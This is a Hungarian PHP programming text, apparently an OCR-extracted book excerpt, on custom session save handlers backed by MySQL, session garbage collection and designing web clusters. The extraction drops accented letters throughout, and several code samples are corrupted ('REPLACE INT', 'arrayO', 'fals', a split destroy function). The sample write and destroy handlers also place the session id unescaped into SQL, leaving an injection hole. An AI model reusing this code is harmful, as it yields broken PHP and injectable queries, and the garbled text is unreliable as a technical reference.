Megismerkedtnk teht a munkamenetek hasznlatval - most ejtsnk nhny szt kezelikrl is, melyek a megvalstsukrt felelnek. A munkameneti bvtmny lnyegben a httrtrolk krli burkol fggvnyekbl ll. A vlasztott trolsi mdszer nem befolysolja azt, hogyan ksztsk el kdunkat, de annl inkbb hatssal van arra, miknt alkalmazhatjuk ezt a kdot klnbz rendszerekben. Az alkalmazni kvnt munkamenetkezelt a php. ini albbi belltsval adhatjuk meg: session.save_handler='files' A PHP-ben kt kszen kapott munkamenet-kezelt tallhatunk: f iles - Ez az alaprtelmezett kezel, amely az egyes munkamenetek trolshoz klnbz fjlokat hasznl. mm - Ez a kezel BSD osztott memrit hasznl - csak akkor alkalmazhatjuk, ha teleptettk a libmm-et, s a PHP-t a -with-mm kapcsolval ptettk fel. Hasonl mdszerekkel mr tallkozhattunk a 9., 10. s 11. fejezetekben. Ezek nagyszeren mkdnek, ha egy gpet hasznlunk, de teljestmnyk romlik, ha frtkn futtatjuk ket. Persze, hacsak nem valamilyen egyszer sszelltssal dolgozunk, valsznleg nem fogunk kizrlag a beptett kezelkre hagyatkozni. Szerencsre rendelkezsnkre llnak horgok a user_space munkemenet-kezelhz, ami lehetv teszi, hogy megvalstsuk sajt munkameneti trolfggvnyeinket a PHP-ben. Belltsukra a session_set_save_handler ad lehetsget, Ha elosztott munkameneteket szeretnnk alkalmazni, amelyek nem plnek ragads kapcsolatokra, magunknak kell megvalstanunk ket. A felhasznli munkamenet-kezelk a kvetkez hat egyszer trolsi mvelet hvsaira plnek: open close red

392

PHP fejleszts felsfokon

write destroy
gc Megvalsthatunk pldul egy MySQL htter munkamenet-kezelt, ami lehetv teszi szmunkra, hogy tbb gprl sszehangoltan rjk el egy adott munkamenet adatait. A tbla szerkezete igen egyszer. A munkamenet adatait a session_id kulcs azonostja, a $_SESSION sorostott tartalma a session_data-ba kerl. A CLOB (nagymret karakteres objektum) tpus text mezt tetszleges mret munkameneti adat trolsra felhasznlhatjuk. A modtime a munkamenetek mdostsainak kvetsre szolgl, gy sokban segti a szemtgyjtst.

14.2. bra

A 14.1. bra j vltozatban lthatjuk, milyen szerepet kapnak az egyes hvsok a munkamenet letben.

14. fejezet Munkamenetek kezelese

393

A rendezettsg kedvrt sajt munkamenet-kezelinket egy MySession nev osztlyban helyezhetjk el: class MySession { static $dbh; A MySession: : open megnyitja a munkamenetet. E fggvnyt gy kell elksztennk, hogy kt paramtert ($save_path s $session_name) fogadjon. A $save_path a php. ini llomny session. save_path paramternek felel meg. A f iles kezel esetben ez a munkameneti adatok trolsnak gykrknyvtra. Sajt kezelnkben bellthatjuk gy, hogy a helyi jellemzknek megfelel trolsi adatokat lltson be. A $session_name a munkamenet neve (amint ezt a php. ini session. session_name paramtere megadja). Amennyiben tbb, nvvel elltott munkamenetet tartunk fenn klnbz hierarchikban, ez igen hasznos lehet. Pldnkban most egyikkkel sem trdnk, gy egyszeren figyelmen kvl hagyhatjuk az tadott paramtereket, s megnyithatunk egy lert az adatbzishoz, melyet ksbbi hasznlatra trolhatunk. Figyeljk meg, hogy mivel az open tagfggvnyt a session_start () fggvnyben mg a stik elkldse eltt meghvtuk, nem kszthetnk semmifle kimenetet a bngsz szmra, ha csak nem alkalmazunk kimenettrolst. Ha mindennel vgeztnk, a true rtkkel trnk vissza, jelezve a munkameneti bvtmny fel, hogy az open fggvny helyesen mkdtt: function open($save_path, $session_name) { MySession: :$dbh = new DB_MySQL_Test() ; return(true);
}

Ha a krelemmel elkszltnk, s kirtuk az adatokat, meghvjuk a MySession: : close tagfggvnyt a munkamenet-kezel bezrsra. Mivel azonban most maradand adatbzis-kapcsolatokat alkalmazunk, erre nincs szksg. Ha sajt fjl alap megoldst vagy ms, nem maradand erforrst alkalmazunk, meg kell gyzdnnk rla, hogy minden ltalunk hasznlt erforrst bezrtunk. Vgezetl a true rtkkel jelezzk a munkameneti bvtmnynek, hogy fggvnynk sikeresen befejezte teendit: function close() { return(true);
}

A MySession: : red az els tagfggvny, ami valdi munkt vgez. Megkeressk a munkamenetet a $id segtsgvel, s visszatrnk az eredmnyknt kapott adatokkal. Ha megtekintjk, milyen adatokat is olvasunk, a session_data tartalmt valahogy gy ltjuk viszont:
countIi:5 ;

394

PHP fejleszts felsfokon

Ez meglehetsen ismers lehet mindazok szmra, akik hasznltk mr a serialize() s az unserialize () fggvnyeket. A kapott adatok gy festenek, mintha az albbi kdrszlet kimenett ltnnk: <?php $count = 5; print serialize($count) ; ?> > php ser.php i:5; Ez persze nem vletlen egybeess: A munkameneti bvtmny ugyanazt a sorost eljrst alkalmazza, mint a serialize s a deserialize. Ha kivlasztottuk a munkameneti adatokat, sorostott alakban visszaadhatjuk azokat. A visszaalaktst s a $_SESSION jrafeltltst maga a munkameneti bvtmny kezeli majd: function read($id) { $result = MySession::$dbh->prepare("SELECT session_data FROM sessions WHEREsession_id = :1")->execute($i d); $row = $result->fetch_assoc(); return $row['session_data'];
}

AMySession: :write fggvny a MySession: :read prja. Paramterknt a munkamenet azonostjt ($id) s adatait ($sess_data) fogadja, s az utbbiak httrtrba rsrt felel. Hasonlkppen a red fggvnyhez, itt is egy sorostott adatokat tartalmaz karakterlncot kapunk. Fontos, hogy frisstsk a mdosts idejt, gy knnyen megszabadulhatunk majd az resjrat munkamenetektl: function write($id, $sess_data) { $clean_data = mysql_escape_string($sess_data); MySession::$dbh->execute("REPLACE INT sessions (session_id, session_data, modtime) VALUESt'$id', '$clean_data', n o w ( ) ) " ) ;

AMySession: :destroy fggvnyt a session_destroy () hasznlata esetn hvjuk meg. Segtsgvel egyszeren kirthetjk az egyes munkameneteket, eltvoltva adataikat a httrtrbl. Jllehet ez eltr a beptett kezelktl, szksg van a $_SESSION tartalma-

14. fejezet * Munkamenetek kezelse

395

nak kirtsre is. Akr a megsemmist fggvnyben, akr utna tesszk ezt meg, mindenkppen ltfontossg lps, hiszen csak gy kerlhetjk el, hogy a munkamenetek automatikusan jrakpzdjenek. me egy egyszer megsemmist fggvny: function destroy($id) { MySession::$dbh->execute("DELETE FROM sessions WHERE session_id = $_SESSION = arrayO; }

'$i d' " );

Vgezetl foglalkozzunk a szemtgyjtst vgz MySession: : gc fggvnnyel. Meg kell adnunk szmra a munkamenet msodpercben mrt lettartamt, amely a php. ini session. gc_maxlif etime paramternek felel meg. Amint a korbbi fejezetekben lthattuk, az intelligens s hatkony szemtgyjts nem egyszer feladat. A kvetkezkben kiss krlnznk a klnbz szemtgyjtsi mdszerek krben. Most azonban csak egy egyszer fggvnyt mutatunk be e clra, amely mindssze annyit tesz, hogy eltvoltja a $maxlif etime msodpercnl rgebbi munkameneteket: function gc($maxlifetime) { $ts = time() - $maxlifetime; MySession::$dbh->execute("DELETE FROM sessions WHERE modtime < from_unixtimestamp($ts)");
} }

Szemtgyjts
A szemtgyjts valban nehz feladat. A tlzottan erlyes szemtgyjtsi mdszerek sok erfonst emszthetnek fel, a tl gyengk esetben pedig hamar megtelhet a gyorstr. Amint a korbbiakban lthattuk, a munkameneti bvtmny a szemtgyjtst a save_handlers gc fggvny gyakori hvsval oldja meg. Egy egyszer valsznsgi algoritmus segt abban, hogy a felesleges munkameneteket - mg a fiatalokat is - begyjtsk. A php. ini fjlban ehhez bellthatjuk a session. gc_probability paramtert. A session_start () hvsakor a rendszer egy 0 s session.gc_dividend (alapllapotban 100) kzti vletlen szmot hoz ltre, s amennyiben ez kisebb, mint a gc_probability, meghvja a teleptett mentskezel szemtgyjt fggvnyt, gy ha a session. gc_probability rtke 1, szemtgyjtsre a krelmek 1%-ban kerl sor - vagyis nagyjbl 100 krelmenknt egyszer.

396

PHP fejleszts felsfokon Szemtgyjts a files kezelben

Nagyobb forgalm alkalmazsok esetben a files munkamenet-kezel szemtgyjtsi mdszere jelents adattorldst okozhat. Ez a C-ben megvalstott fggvny alapjban vve gy fest: function files_gc_collection($cachedir, $maxlifetime)
{

$now = time(); $dir = opendir($cachedir) ; while(($file = readdir($dir)) !== fals) { if(strncmp("sess_", $file, 5)) { continue; } if($now - filemtime($cachedir."/".$file) > $maxlifetime) { unlink($cachedir."/".$file),} } }

A gondot az okozza, hogy szmos ki-, illetve bemeneti mveletet kell vgeznnk a gyorstr knyvtrn. E knyvtr gyakori tnzse pedig komoly versenyt eredmnyezhet a klnbz folyamatok kztt. Az egyik megolds ennek elkerlsre, ha teljesen kikapcsoljuk a munkameneti bvtmny szemtgyjtsi eljrst (a session.gc_probability = 0 belltssal), s egy temezett feladat segtsgvel (mint a korbbi fggvny) teljessggel aszinkron mdon vgezzk a takartst.
Szemtgyjts az mm kezelben

A files kezel szemtgyjtsi mdszervel szemben az mm kezel meglehetsen gyors. Mivel minden adat az osztott memriban tallhat, egyszeren zrolni kell a memriaszegmenst, visszarni a munkamenet aktulis adatait a memriba, az elavultakat pedig trlni.
Szemtgyjts a MySession kezelben

Krds, hogy a MySession kezel szemtgyjtsi eljrsa miknt viszonyul a files s az mm kezelkhez. Azt kell megllaptanunk, hogy sajnlatos mdon ugyanazoktl a gondoktl szenved, mint a files kezel - st, taln ezek a gondok itt mg slyosabbak is. A MySQL-nek a trlsi mveletekhez kizrlagos tblazrolsra van szksge. Ez nagy adatforgalom esetn komoly versenyhelyzetet teremthet, amint tbb folyamat egyszerre kvnja gondozni munkameneti troljt, mg msok olvasni s frissteni szeretnk munkameneti adataikat. Szerencsre a files kezelben alkalmazott megolds itt is ugyangy hasznlhat - kikapcsolhatjuk a beptett szemtgyjts-indtst, s a takartst temezett feladatknt valsthatjuk meg.

14. fejezet Munkamenetek kezelse

397

gyfl vagy kiszolgl oldali munkamenetek - melyiket vlasszuk?


Jmagam ltalnossgban az gyfl oldali munkamenetek mellett vagyok, amennyiben a bennk trolt adatmennyisg viszonylag kicsi. A viszonylag" szmomra nagyjbl 1 KB-ot jelent. E mret alatt az gyfl krelme j esllyel belefr egyetlen hlzati csomagba (ez ugyanis nagy valsznsggel alatta van az tvonal legnagyobb tvitt egysge mretnek). Ha a HTTP krelmet egyetlen csomagba helyezhetjk, nincs szksg trdelsre, ami cskkenti a hlzati ksleltetst. Ha kiszolgl oldali munkamenet-kezelst vlasztunk, fontos, hogy behatan ismerjk az adatolvassi, illetve -frisstsi mveletek mennyisgt. Knny tlterhelnnk egy adatbzis htter munkamenet-kezel rendszert egy nagyforgalm webhelyen. Ha ilyen rendszer hasznlata mellett dntnk, legynk nagyon krltekintek - csak akkor frisstsk a munkamenetek adatait, ha erre valban szksg van.

Sajt beptett munkamenet-kezelk megvalstsa


Ha ki szeretnnk hasznlni a munkamenetek ltal biztostott lehetsgeket, de aggaszt a felhasznli kd futtatsnak a teljestmnyre gyakorolt hatsa, meglepen knnyen elkszthetjk C nyelven sajt munkamenet-kezelnket. Minderrl bvebben a 22. fejezetben szlunk.

Elosztott krnyezet kiptse


Az eddigiekben a webes frtk tmakrt kerlgettk, mint macska a forr kst. Alkalmazsaink azzal a hallgatlagos felttelezssel ltek, hogy egyetlen webkiszolglt hasznlunk a tartalom szolgltatsra. A megismert mdszerek sok esetben nagyszeren mkdnek akkor is, ha tbb gpen alkalmazzuk ket. Nhny mdszer esetben figyelembe vettk a frtket is, de az, hogy hogyan s mirt ksztsnk webes frtket, mg nem vlt kzponti tmakrnkk. Most vgre ptoljuk ezeket a hinyossgokat.

Mi is az a frt?
Frtnek olyan gpek csoportjt nevezzk, melyeket azonos clra alkalmazunk. Hasonlkppen, egy alkalmazs, illetve szolgltats frtztt, ha brmelyik rszt egynl tbb kiszolgl tmogatja. A 15.1. brn lthat sszellts - br tbb gp szerepel rajta - nem felel meg ennek a meghatrozsnak, mivel minden gp egyedi szereppel rendelkezik, melyet egyetlen trsa sem tlthet be. A 15.2. brn viszont egy egyszer frtztt szolgltatst tallunk. Itt kt felleti (front-end) gp lthat, melyek terhelst forgat DNS (round-robin DNS) egyenlti ki. Mindkt webkiszolgl azonos tartalmat szolgltat. Annak, hogy egy webhelyt egynl tbb webkiszolglra ptsnk, ltalban vve kt oka lehet: Redundancia - Ha webhelynk ltfontossg clt szolgl, s mg egy rvid kimarads sem engedhet meg, tbb webkiszolglt kell alkalmaznunk. Nem szmt, milyen drga eszkzket vsrolunk, egyszer minden meghibsodik, cserre szorul, vagy fizikai karbantartsra lesz szksge. Murphy trvnye ugyangy vagy taln mg inkbb rvnyes az informatikra, mint az let ms terleteire, gy biztosak lehetnk benne, hogy a vratlan meghibsodsok a lehet legkellemetlenebb idpontban kvetkeznek be. Ha szolgltatsunk klnsen magas kszenlti kvetelmnyekkel br, elfordulhat, hogy nemcsak tbb kiszolglra, hanem tbb svszlessg-szolgltatra is szksgnk lesz, st akr kln adatkzpontokat is ki kell ptennk a szolgltats elltsa vgett.

15. fejezet Elosztott krnyezet kiptse

401

15.2. bra Egyszer frtztt szolgltats.

15.3. bra Egy tlsgosan bonyolult alkalmazsszerkezet.

402

PHP fejleszts felsfokon

E szerkezet elnyei kztt emlthetjk az albbiakat: Azzal, hogy a szolgltatsokat klnbz frtkbe helyezzk, lehetv tesszk, hogy ignyeik egymstl fggetlenl vltozhassanak, amennyiben a forgalom nem egyenletesen emelkedik minden szolgltatsnl. A fizikai elvlaszts egyrtelm, s elsegti a logikai egysgek sztvlasztst is. A htrnyok a mrettel kapcsolatban jelennek meg. Szmos projektnl tapasztalhat, hogy tlsgosan sok frtre osztjk az alkalmazst. Tz logikailag elklnthet szolgltatssal rendelkeznk? Akkor ht tz frtre van szksgnk! Minden szolgltats ltfontossg, gy mindegyikk biztostshoz legalbb kt gp kell. gy ht igen gyorsan eljutottunk odig, hogy legalbb 20 kiszolglval kell rendelkeznnk. Mg kellemetlenebb, ha a fejlesztk kihasznljk azt az rteslst, hogy a frtk valjban klnbz kiszolglk, s egymst kizr lehetsgek kihasznlsval ptik fel klnbz szolgltatsaikat. Az ilyen jelleg elvlasztsra hagyatkozni olyan hibk megjelenst jelentheti, mint az azonos nev knyvtrak hasznlata az adattrolsban. Az ehhez hasonl tervezsi hibkat nehz vagy egyenesen lehetetlen orvosolni, s megjelensk knnyen oda vezethet, hogy valban fizikailag klnbz kiszolglkat kell hasznlnunk. Persze nem mindig rossz dolog, ha 10 klnbz frt ll rendelkezsre a szolgltatsok szmra. Ha pldul naponta tbb milli oldalt szolgltatunk, ez lehetv teszi, hogy hatkonyan elosszuk forgalmunkat a frtkben. A gondok akkor jelentkeznek, amikor rendszernk hihetetlenl erforrsignyes, de naponta csak 100 000 vagy 1 000 000 oldalt szolgltatunk. Ilyenkor knytelenek vagyunk egy hatalmas gpezetet fenntartani., melynek ugyanakkor csak a tredkt tudjuk kihasznlni. A hlzati programozs birodalma telis-tele van rosszul felptett s kevss kihasznlt rendszerekkel. Ezek amellett, hogy rengeteg hardveres erforrst pocskolnak el, a fenntarts tern is tetemes kltsggel jrnak. Knny persze a cgek hibit okolni a tvutakrt s a rossz gondolatokrt, de sosem szabad elfelejtennk, hogy az 5 milli dollros adatkzpontok nem mutatnak jl a kltsglistn. Hlzati rendszertervezknt mindig gy reztem, hogy feladatom nemcsak a knnyen mretezhet rendszerek kiptse, hanem az is, hogy olyan alkalmazsokat tervezzek, melyek a lehet legtbb hasznot hozzk. Ennyi figyelmeztets taln elg is volt, most inkbb lssuk, miknt osszuk klnbz szolgltatsainkat frtkbe.

Frtk tervezse
Els lpsknt - fggetlenl attl, mik a ksbbi terveink - meg kell gyzdnnk arrl, hogy alkalmazsunk egyltaln kpes-e mkdni frtztt krnyezetben. Ahnyszor csak eladst tartok egy-egy konferencin, mindig akad valaki, aki arrl rdekldik, mi a titka a frtztt alkalmazsok ksztsnek. Nos, a nagy titok az, hogy nincs titok. A frtkn is futni kpes alkalmazsok ksztse nem mondhat szrnyen bonyolultnak.

15. fejezet Elosztott krnyezet kiptse

403

Az egyetlen, amit mindig s szigoran be kell tartanunk, a kvetkez: Soha ne felttelezzk, hogy kt felhasznl hozzfr ugyanahhoz az adathoz, hacsak nem kifejezetten megosztott erforrsrl van sz. A gyakorlatban ez szmos kvetkezmnnyel jr: Soha ne hasznljunk fjlokat dinamikus adatok trolsra, hacsak ezek nem elrhetk a frt minden tagja szmra (az NFS, Samba, vagy ms fjlrendszerekben). Soha ne hasznljunk DBM-eket dinamikus adatok trolsra. Soha ne kveteljk meg, hogy egymst kvet krelmek hozzfrjenek ugyanahhoz az erforrshoz. gy pldul azt megkvnni, hogy az egyms utni krelmek ugyanazt az adatbzis-kapcsolatot hasznljk, nem helyes, de ha azt kveteljk meg, hogy ezek a krelmek ugyanazzal az adatbzissal alaktsanak ki kapcsolatot, az mr alkalmazhat mdszer.

F az elrelts
A frtk alkalmazsnak egyik legfontosabb oka, hogy megprblunk vdekezni az egyes elemek meghibsodsa ellen. Ez nem ldzsi mnia - a webes frtket gyakran ptik fel tmeggyrts elemekbl. Ezek gyakorlatilag ugyanazok a hardverkomponensek, mint amiket az asztali szmtgpekben is hasznlunk, esetleg llvnyra szerelt hzban, komolyabb tpegysggel, vagy kiszolgl tpus BlOS-szal. A tmeggyrtsban kszlt eszkzk jellemzen gyengbb minsgellenrzssel kszlnek, hibatrsk pedig kisebb. gy a komolyabb, vllalati rendszerekkel szemben a tmeggyrts gpek kisebb esllyel kpesek kivergdni egy olyan helyzetbl, amikor egy processzor vagy memriakrtya meghibsodik. Ez a gyengbb minsg felpts azonban hihetetlen kltsgmegtakartssal prosul. A Google, a Yahoo! s ms hasonl cgek megmutattk, milyen jelents kltsgek takarthatk meg, ha nagy szm olcs, tmeggyrts gpen futtatjk szolgltatsaikat ahelyett, hogy kevesebb, de sokkal drgbb gpekre ptennek. A tanulsg az, hogy a tmeggyrts gpek elromolhatnak, s minl tbbet hasznlunk bellk, annl gyakrabban tallkozunk ilyen meghibsodsokkal - kvetkezskppen alkalmazsunk tervezsben ezt mindenkppen szmtsba kell vennnk. me nhny j tancs: Gyzdjnk meg rla, hogy alkalmazsunk a legfrissebb kddal rendelkezik, mieltt elindulna. Egy olyan krnyezetben, ahol a kd gyorsan vltozik, elkpzelhet, hogy az a kd, ami kiszolglnkon annak sszeomlsa idejn futott, eltr attl, ami jelenleg mkdik a tbbi gpen. Az alkalmazs indtsa eltt ki kell rtennk a helyi gyorstrakat, hacsak nem vagyunk meggyzdve arrl, hogy az adatok sszhangban vannak.

404

PHP fejleszts felsfokon

Soha nem szabad megkvetelnnk, hogy az gyfl munkamenete egy adott kiszolglhoz ktdjn - mg akkor sem, ha terhelskiegyenltnk tmogatja ezt a lehetsget. Hasznos lehet persze, ha a kiszolglk, illetve az gyfelek ktdnek egymshoz a gyorstr hatkonysga rdekben, de az gyfl munkamenetnek nem szabad megszakadnia, ha egy kiszolgl kikapcsoldik. Csapatjtk Rendszernket az sszjtkra, nem pedig a kizrlagossgra kell ptennk. Az alkalmazsok ppoly gyakran zsugorodnak, mint amilyen gyakran nvekednek - nem szokatlan, hogy egy projekt tltervezett, s tbb hardvereszkzt hasznl, mint amennyire valjban szksge van (gy egyttal nagyobb tkeerre van szksge, s fenntartsi kltsge magasabb). A rendszer szerkezete sokszor lehetetlenn teszi, hogy tbb szolgltatst egyetlen gpre helyezznk. Az ilyen helyzet kzvetlenl megsrti a mretezhetsg alapkvetelmnyt, amely lehetv teszi mind a nvekedst, mind a zsugorodst. Az alkalmazsok bks egyms mellett lst nem klnsebben nehz megvalstani a programozsi gyakorlatban. Ez nem ignyel klnsebb tervezst vagy alkalmazkodst - mindssze nmi elreltst a buktatk elkerlse rdekben.
A fggvnyek nvterei

Errl a krdsrl mr szltunk korbban, s akkor sem ok nlkl: A fggvnyek, osztlyok s globlis vltoznevek esetben a helyes nvterek hasznlata ltfontossg a nagymret alkalmazsok tervezsnl, hiszen ez az egyetlen mdszer, mellyel elkerlhetjk a szimblumok neveinek tkzst. Ksztettem egyszer egy webnaplz programot, melynek egyik tmogat knyvtrban ltezik egy fggvny formzott hibazenetek megjelentsre: function displayError($entry) { II... a webnapl hibamegjelent fggvnye
}

Az ltalnos hasznlati cl knyvtramban is ltezik egy hibamegjelent fggvny: function displayError($entry) { II... ltalnos hibamegjelent fggvny
}

Nyilvnval, hogy ha ezeket egytt hasznlom egy projektben, gondjaim addnak, mivel fggvny-jrameghatrozsi hibk keletkeznek. Ahhoz, hogy egytt is mkdhessenek, vala-

15. fejezet Elosztott krnyezet kiptse

405

melyikk nevt meg kell vltoztatnom, ami ugyanakkor a tle fgg kdok mdostst is maga utn vonja. Sokkal jobb megolds, ha elre gondolunk erre a lehetsgre, s kln nvterekben helyezzk el ezeket a fggvnyeket - akr osztlyok statikus tagfggvnyeiben: class webblog { static function displayError($entry) //.. .
} }

class Common { static function displayError($entry) //. . .


} }

Vagy a PHP4 hagyomnyos nvkiegsztsi mdszert alkalmazva: function webblog_displayError($entry) //. ..


}

function Common_displayError($entry) //. . .


}

Akrhogy is jrunk el, ha kezdettl gy vdjk a szimblumok neveit, elejt vehetjk az tkzseknek, s elkerlhetjk az ilyenkor ltalban szksges jelents mdostsokat.
Hivatkozzunk a szolgltatsokra teljes ler nevekkel!

Egy jabb fontos tervezsi alapszably, ami klnsen lnyeges a kdok egyttmkdshez, hogy hivatkozzunk a szolgltatsokra teljes ler nevkkel. Jmagam gyakran tallkozom olyan alkalmazsokkal, melyek hivatkoznak egy dbhost nev adatbzisra, s ezutn az /etc/hosts fjlban szerepl dbhost belltsra ptenek. Persze amg egyetlen adatbzis van jelen, mindez rendben van - ha azonban kt szolgltatst kell hasznlnunk, melyek dbhost belltsa nem egyezik meg, akkor bizony gondban vagyunk. Hasonlk igazak az adatbzissmk neveire (adatbzisnevek a MySQL-ben). Az egyedi nevek hasznlata lehetv teszi, hogy az adatbzisokat mindig biztonsggal elklnthessk egymstl. Mindez teht azt jelenti, hogy ha ler s egyedi adatbzisgazda s -smaneveket hasznlunk, elkerlhetjk a kavarodst s az tkzseket.
Az erforrsok nvterei

Amennyiben fjlrendszerbeli erforrsokat hasznlunk (pldul gyorstrfjlok trolsra), szolgltatsunk nevt bele kell ptennk a fjl tvonalba, hogy biztostsuk, nem tkznk ms szolgltatsok gyorstraival s viszont. Ez a gyakorlatban azt jelenti, hogy a /cache/ knyvtr helyett mondjuk a /cache/www. f oo . com/ knyvtrba rjuk fjljainkat.

406

PHP fejleszts felsfokon

Tartalom elosztsa a frtkben


A 7. fejezetben j nhny mdszert lthattunk a tartalom elosztsra - ezek ugyanolyan hatkonyan alkalmazhatk frtztt rendszerekben is. Mindazonltal kt alapvet dologra jobban oda kell figyelnnk: Biztostanunk kell, hogy minden kiszolgl nmagban helyes legyen. Biztostanunk kell, hogy a kiszolglk egymssal sszhangban mkdjenek. Az els pontot mr a 7. fejezetben megtrgyaltuk. A legbiztosabb mdszer annak garantlsra, hogy nincsenek jelen eltr kdvltozatok, az, ha frissts alatt lekapcsoljuk a szolgltatst. Azrt csak ez jelent biztos mdszert, mert a PHP futs kzben is rtelmez s futtat beemelt fjlokat. gy, mg ha az sszes rgi fjlt jra is cserljk, a kzben fut programok egyarnt vgrehajthatnak rszleteket a rgi s az j kdbl. Lteznek mdszerek arra, hogy cskkentsk a kikapcsolt llapot idtartamt, de valamilyen hossz kikapcsolsra mindenkppen szksg van annak rdekben, hogy a kdrszletek kzti sszhang megmaradhasson. Sok esetben persze ez sem okozna tl nagy gondot, nha azonban olyan hibk is felsznre kerlhetnek, melyek a vgfelhasznl szmra is lthatk, amennyiben egy knyvtrban tallhat API is vltozik a frissts sorn. Szerencsre a frtztt alkalmazsok szerkezete nagyszeren alkalmas az egyes csompontok meghibsodsnak kivdsre. Egy terhelskiegyenlt vagy hibakezel megolds automatikusan szleli, ha egy szolgltats nem elrhet, s automatikusan tirnytja a krelmeket a mkd csompontokra. Ez azt jelenti, hogy ha mindent helyesen lltunk be, egyszeren lekapcsolhatjuk az egyes webkiszolglkat, frissthetjk a tartalmukat, majd jra bekapcsolhatjuk ket, mindenfle mkdsmegszakads nlkl. Azt azonban mr nehezebb feladat elrni, hogy egy frt minden gpn egyszerre trtnjenek meg a vltozsok. Szerencsre ilyesmire ritkn van szksg. Nem jelent klnsebb gondot, ha van kt egyidej krelmnk, melyek egyike j, a msik pedig rgi kdot futtat, amg a teljes frissts idtartama rvid, s az egyes oldalak nmagukban helyesen mkdnek (akr a rgi, akr az j viselkedst kvessk). Ha atomi tllsra van szksg, az egyik megolds, hogy adott alkalmazs webkiszolglinak felt kikapcsoljuk, hibakezel segdeszkznk pedig tirnytja a forgalmat a mkd csompontokra. A forgalombl kivont csompontokat frissthetjk, a kiszolglkat jraindthatjuk, mialatt az e csompontokra mutat terhelskiegyenlt szablyokat tovbbra is kikapcsolva tartjuk. Amikor az sszes csompontunk mkdkpess vlt, a terhelskiegyenltsi szablyokat tirnythatjuk az jra beindtott kiszolglkra, s befejezhetjk a frisstst. Lthat, hogy ez a folyamat igen fjdalmas s kltsges - a sikeressghez ugyanis az kell, hogy a frtk fele kpes legyen a teljes forgalmat lebonyoltani, legalbb egy rvid ideig. Kvetkezskppen ez a mdszer - ahol csak lehet kerlend.

15. fejezet Elosztott krnyezet kiptse

407

Vzszintes mretezs
A vzszintes mretezhetsg a rendszertervezk kzssgnek divatos kifejezse. Ha egy rendszer rendelkezik ezzel a tulajdonsggal, akkor kapacitsa linerisan vltozik - vagyis ktszeres terhelsnek ktszeres erforrs-felhasznls rn kpes megfelelni. Els ltsra ez nem tnik klnleges dolognak; hiszen magunk ptettk fel az alkalmazst - mi akadlyozhatja meg, hogy legrosszabb esetben ismt felptsk, ezttal megktszerezve a kapacitst? Sajnlatos mdon a tkletes vzszintes mretezhetsg az albbi okokbl szinte soha nem rhet el: Az alkalmazsok egyes elemei egyszeren nem mretezhetk linerisan. Tegyk fel, hogy van egy alkalmazsunk, amely egy webnapl bejegyzseinek kereszthivatkozsait kveti nyomon. ./Vbejegyzs kztt 0(N2) kapcsolat lehetsges, gy ht az erforrs-felhasznls linerisnl magasabb rendben fgg a kapacitstl. Az adatbzis-kezel rendszerek mretezse nehz. Egyrszrl a hardverkltsg tbbprocesszoros rendszerekben a linerisnl jobban n. Msrszrl, az adatbzisokban alkalmazott tbbmesteres tbbszrzsi (multimaster replication) eljrsok ksleltetst visznek a rendszerbe. (Ezekrl az eljrsokrl az Adatbzisok mretezse cmsznl szlunk bvebben.) A vzszintesen mretezhet szolgltatsok esetben alapelvnk, hogy elkerljk a klnleges rendeltets kiszolglk megjelenst - vagyis gyelnnk kell arra, hogy minden kiszolgl kpes legyen klnbz feladatok elvgzsre. Gondoljunk egy tteremre. Ha felvesznk egy szakcsot a zldsgek, egyet a hsok, egyet pedig a tsztaflk elksztsre, csak addig tudunk hatkonyan dolgozni, mg a men vltozatlan. Ha megnvekszik az igny a tszta irnt, a zldsggel s a hssal foglalkoz szakcsok kihasznltsga cskken, s fel kell vennnk egy jabb tsztaszakrtt. Jobban jrunk, ha olyan szakcsokat foglalkoztatunk, akiknek nincs klnleges szakterletk - k ugyan nem alkotnak kiemelkedt egyetlen telflesg elksztsben sem, de knnyen megvltoztathatjuk feladatukat az ignyek eltoldsval, ami gy gazdasgosabb s hatkonyabb mkdst tesz lehetv.

Klnleges cl frtk
Trjnk most vissza a vendgl pldjra. Amennyiben a kenyr mennk lland eleme, a minsg s a hatkonysg emelse rdekben rdemes lehet pkeket is felfogadnunk. k ugyan nem tudnak ms feladatokat elvgezni, de ha a kenyr llandan az tlapon szerepel, alkalmazsuk j vlaszts lehet. Nagy alkalmazsoknl sokszor rdemes lehet specializlt frtket alkalmaznunk - ilyen esetek az albbiak: Szolgltatsok, melyek kpesek a specializlt eszkzk kihasznlsra - Nagyszer plda erre a kpek szolgltatsa. Lteznek webkiszolglk - mint a Tux s a thttpd -, melyek klnsen alkalmasak arra, hogy statikus tartalmat szolgltassanak. Gyakran alkalmazott mdszer, hogy nhny kiszolglt kifejezetten arra lltanak be, hogy kpeket szolgltasson.

408

PHP fejleszts felsfokon

Szerzett vagy kls gyrt ltal ksztett alkalmazsok halmazai - Sok olyan krnyezet ltezik, ahol muszj bizonyos alkalmazsokat kln futtatnunk, mivel pldul rksgknt jutottunk hozzjuk, s gy ms felttelekre van szksg a mkdtetskhz. Elkpzelhet, hogy szksgk van a mod_python vagy a mod_perl modulra is. Mindez gyakran a hibs tervezsre vezethet vissza - sokszor megesik, hogy a fejleszt a cges krnyezetet tekinti prbaterepnek j gondolatok s j nyelvek vizsglathoz. Vannak azonban olyan esetek is, amikor mindezt nem lehet elkerlni - pldul ha az alkalmazst eleve megkapjuk, de vagy vdjegyes, vagy PHP-beli megvalstsa tlzott kltsgekkel jr. Az adatbzis-hasznlat feldarabolsa - Amint a fejezet ksbbi rszben, az Adatbzisok mretezse cmsznl lthatjuk, ha az alkalmazs klnsen nagyra n, az adatbzis-kezel kdot rdemes tbb rszre bontanunk, melyek az alkalmazs klnbz, egymstl fggetlen rszeit szolglhatjk. Igen nagy alkalmazsok - Hasonlan az tteremhez, amely sajt pksget nyit pkstemnyei npszersge kvetkeztben, ha alkalmazsunk elegenden nagyra n, rdemes lehet klnbz, knnyebben kezelhet rszekre bontani. Nincs olyan kplet, melynek segtsgvel eldnthetnnk, mikor kerljn erre sor, de arra mindenkppen rdemes emlkeznnk, hogy a hardverhibk kikszblsre az alkalmazsnak legalbb kt gpen kell futnia. Ezrt ht jmagam soha nem darabolom fel az alkalmazst, mg teljes mrtkben ki nem tudom hasznlni kt kiszolgl erforrsait.

Gyorstrak elosztott krnyezetben


